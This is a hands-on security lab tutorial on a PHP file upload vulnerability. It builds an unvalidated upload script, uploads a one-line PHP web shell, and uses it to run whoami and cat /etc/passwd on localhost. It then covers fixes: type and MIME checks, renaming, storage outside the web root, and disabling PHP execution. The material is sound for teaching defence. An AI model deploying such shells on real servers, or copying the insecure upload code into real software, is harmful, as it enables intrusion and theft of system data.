Objective
Learn how to exploit a File Upload Vulnerability to achieve Remote Code Execution (RCE) by uploading and executing malicious files on the server. Understand effective security measures to prevent such vulnerabilities.
Scenario
You are testing a web application that allows users to upload profile pictures. Due to insufficient validation of uploaded files, an attacker can upload a malicious PHP shell and remotely execute arbitrary system commands on the server.
Lab Setup
Prerequisites:
- Basic knowledge of PHP and Linux commands.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
PHP Script for File Upload
Create a file upload.php
:
<?php
if (isset($_POST['submit'])) {
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<h2>The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</h2>";
} else {
echo "<h2>Sorry, there was an error uploading your file.</h2>";
}
}
?>
<form action="" method="POST" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<button type="submit" name="submit">Upload File</button>
</form>
Creating the Upload Directory
In the project root, create a folder named uploads
:
mkdir uploads
chmod 777 uploads
Running the Application
- Start the Apache server.
- Place
upload.php
in the web server’s root directory (htdocs
for XAMPP). - Open
http://localhost/upload.php
in your browser.
Exploitation Steps
Step 1: Uploading a Malicious PHP Shell
Create a PHP shell file shell.php
:
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Upload shell.php
through the file upload form.
Access the shell:
http://localhost/uploads/shell.php?cmd=whoami
Expected Result:
- The server executes the
whoami
command and displays the current user.
Step 2: Executing Arbitrary Commands
Run additional commands to explore the system:
http://localhost/uploads/shell.php?cmd=ls
http://localhost/uploads/shell.php?cmd=cat /etc/passwd
Expected Result:
- The attacker can execute system commands and access sensitive files.
Solution and Prevention
Problem Analysis
- The application allows uploading executable files without validating file types or contents.
Fixing the Vulnerability
Restrict Allowed File Types
Validate file extensions and MIME types:
$allowed_types = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($_FILES['fileToUpload']['name'], PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_types)) {
die("<h2>File type not allowed.</h2>");
}
Validate MIME Types
Use mime_content_type()
to check the actual file content:
$mime_type = mime_content_type($_FILES['fileToUpload']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime_type, $allowed_mime)) {
die("<h2>Invalid file content.</h2>");
}
Rename Uploaded Files
Prevent execution by renaming uploaded files:
$new_name = uniqid() . '.' . $file_ext;
move_uploaded_file($_FILES['fileToUpload']['tmp_name'], "uploads/" . $new_name);
Store Files Outside the Web Root
Move uploaded files to a directory inaccessible from the web:
mkdir /var/uploads
chmod 700 /var/uploads
Disable PHP Execution in Uploads Folder
Add an .htaccess
file to uploads/
:
php_flag engine off
Options -ExecCGI
AddType text/plain .php .php5 .php7
Testing After Fix
- Attempt to upload
shell.php
again. - Expected Result:
- The upload is blocked or the file cannot be executed.
Conclusion
In this lab, you exploited a File Upload Vulnerability to achieve Remote Code Execution (RCE) by uploading a malicious PHP shell. You also learned how to mitigate this risk by restricting file types, validating file contents, and securing upload directories.
0 Comments